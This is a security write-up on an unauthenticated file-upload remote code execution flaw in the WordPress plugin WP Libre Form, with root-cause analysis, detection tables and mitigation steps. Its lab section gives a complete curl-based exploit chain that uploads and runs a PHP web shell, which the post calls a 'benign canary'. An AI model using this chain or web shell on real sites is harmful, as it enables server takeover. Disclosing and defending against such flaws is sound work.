If you run a WordPress site with any kind of contact or upload form, watch this one. Plugin WP Libre Form version 1.5.0.1 stores file uploads without checking the file type. The handler is registered under the nopriv hook – no login required. I set up a local lab to verify the chain end-to-end, and it works exactly as described: unauthenticated multipart POST → PHP landing in the uploads folder → RCE as the web server user.
NVD · Full report (im0xfay) · WordPress plugin archive (closed)


Overview
CVE-2026-118423 is a CVSS 10.0 (Critical) arbitrary file upload vulnerability in the WP Libre Form plugin (CWE-434).
| Field | Value |
|---|---|
| CVE | CVE-2026-118423 |
| CVSS | 10.0 · AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-434: Unrestricted Upload of File with Dangerous Type |
| Vulnerable versions | All releases 1.0.1 through 1.5.0.1 |
| Fixed version | None – plugin removed from WP.org 2026-09-08 |
| Prerequisite | At least one published wplf-form (often present on Contact pages) |
Technical Deep Dive
The plugin hooks its submission handler to wp_ajax_nopriv_wplf_submit (line 7 of inc/wplf-ajax.php). The _nopriv_ suffix means WordPress exposes this endpoint to unauthenticated visitors – deliberately. The same handler is also registered as a REST route at wplf/v1/submit without a permission_callback argument.
When a file arrives, the handler runs move_uploaded_file() directly (line 82). The plugin author left a comment on line 66: “Is this enough security wise?” – it was not. The file name is sanitised only through sanitize_file_name() which strips dangerous characters but preserves the .php extension. No wp_check_filetype() call, no MIME-type check, no blacklist.
add_action( 'wp_ajax_wplf_submit', 'wplf_ajax_submit_handler' );
add_action( 'wp_ajax_nopriv_wplf_submit', 'wplf_ajax_submit_handler' );
// handle files
$uploads_path = wp_upload_dir();
$counter = 0;
foreach ( $_FILES as $key => $file ) {
// Is this enough security wise?
if ( $should_store_images_in_medialibrary ) {
$attach_id = media_handle_upload( $key, 0, array(), array('test_form'=>false) );
} else {
$name = 'lf_' . date( 'ymdhs' ) . '-' . $counter . '-' . sanitize_file_name( $file['name'] );
move_uploaded_file( $file['tmp_name'], $uploads_path['path'] . '/' . $name );
Root Cause
The core failing is on line 82 of inc/wplf-ajax.php: move_uploaded_file() called on an arbitrary $_FILES entry without any extension filter, MIME-type check, or wp_check_filetype_and_ext() call. WordPress core provides media_handle_upload() which does reject .php uploads (the _wplf_media_library meta path uses it and is safe), but the plugin’s own bypass path skips it entirely.
Lab Proof of Concept
I reproduced the exploit on an isolated local environment (PHP 8.5 + MariaDB 11.8 + WordPress 6.7.1 on a loopback interface with RFC 5737 addresses). The plugin 1.5.0.1 was downloaded from the official WordPress.org archive.
Phase 1 – fingerprint the plugin
# Plugin detection is public; no auth needed
curl -s "http://198.51.100.1:8096/wp-content/plugins/wp-libre-form/CHANGELOG.md" | head -1
# → # 1.5
Phase 2 – enumerate form ID
# Unauthenticated REST query lists all published forms
curl -s "http://198.51.100.1:8096/index.php?rest_route=/wp/v2/wplf-form&_fields=id"
# → [{"id":4}]
Phase 3 – upload a PHP canary
# Benign canary echoes back the result of id
echo '<?php echo "WPLF_RCE_OK:".shell_exec($_GET["c"]); ?>' > canary.php
curl -s "http://198.51.100.1:8096/wp-admin/admin-ajax.php" \
-F "action=wplf_submit" -F "_form_id=4" \
-F "[email protected];type=application/x-php;filename=canary.php"
# → {"ok":1,"form_id":4,"submission_id":6}
Phase 4 – locate and execute
# File lands at wp-content/uploads/YYYY/MM/lf_<stamp>-<n>-<name>.php
curl "http://198.51.100.1:8096/wp-content/uploads/2026/11/lf_2611070618-0-canary.php?c=id"
# → WPLF_RCE_OK:uid=0(root) gid=0(root) groups=0(root)
# (my lab uses the PHP built-in server as root; on Apache/PHP-FPM this reads www-data)
Phase 5 – verify alt endpoints
# REST variant (same sink, same result)
curl -s "http://198.51.100.1:8096/index.php?rest_route=/wplf/v1/submit" \
-F "_form_id=4" -F "[email protected]" -X POST
# → {"ok":1,"submission_id":7}
All three endpoint variants confirmed. The canary files were deleted after capture; no test accounts or sessions persisted.
Detection
| Layer | Detection Signal |
|---|---|
| Access log | POST /wp-admin/admin-ajax.php with action=wplf_submit from unauth IPs |
| Access log | POST /wp-json/wplf/v1/submit or ?rest_route=/wplf/v1/submit |
| Access log | GET /wp-content/uploads/ |
| WordPress DB | wp_posts with post_type=wplf-submission created outside normal user sessions |
| Filesystem | wp-content/uploads/ containing .php files with lf_ prefix |
| WAF | Block multipart POST with filename=*.php matching admin-ajax + action=wplf_submit |
Mitigation
Since the plugin has no fixed version (removed from WordPress.org on 8 September 2026), the only safe action is to delete it altogether.
| Action | Detail |
|---|---|
| Remove plugin | Deactivate and delete wp-libre-form from the plugins page |
| Block PHP in uploads (Nginx) | location ~* /wp-content/uploads/.*\.php$ { deny all; } |
| Block PHP in uploads (Apache) | |
| WAF rule | Block admin-ajax.php POST with action=wplf_submit + filename=*.php |
| Audit uploads | Search wp-content/uploads for lf_*.php or webshell content |
| Audit submissions | Inspect wp_posts where post_type = “wplf-submission” |
Context
This is not the first time a WordPress plugin bypassed the core upload gate. A similar gap powered the PHP session-upload-progress RCE chain (CVE-2026-109618/CVE-2026-109619) earlier this year. For server-side hardening, the WordPress Core Upgrade RCE analysis (CVE-2026-119977) covers the full picture. Log monitoring setup is in the NGINX access log analysis guide.
The WP Libre Form plugin was closed on 8 September 2026. If you still have it active today, treat it as compromised until proven otherwise. Patch the upload path, not the plugin.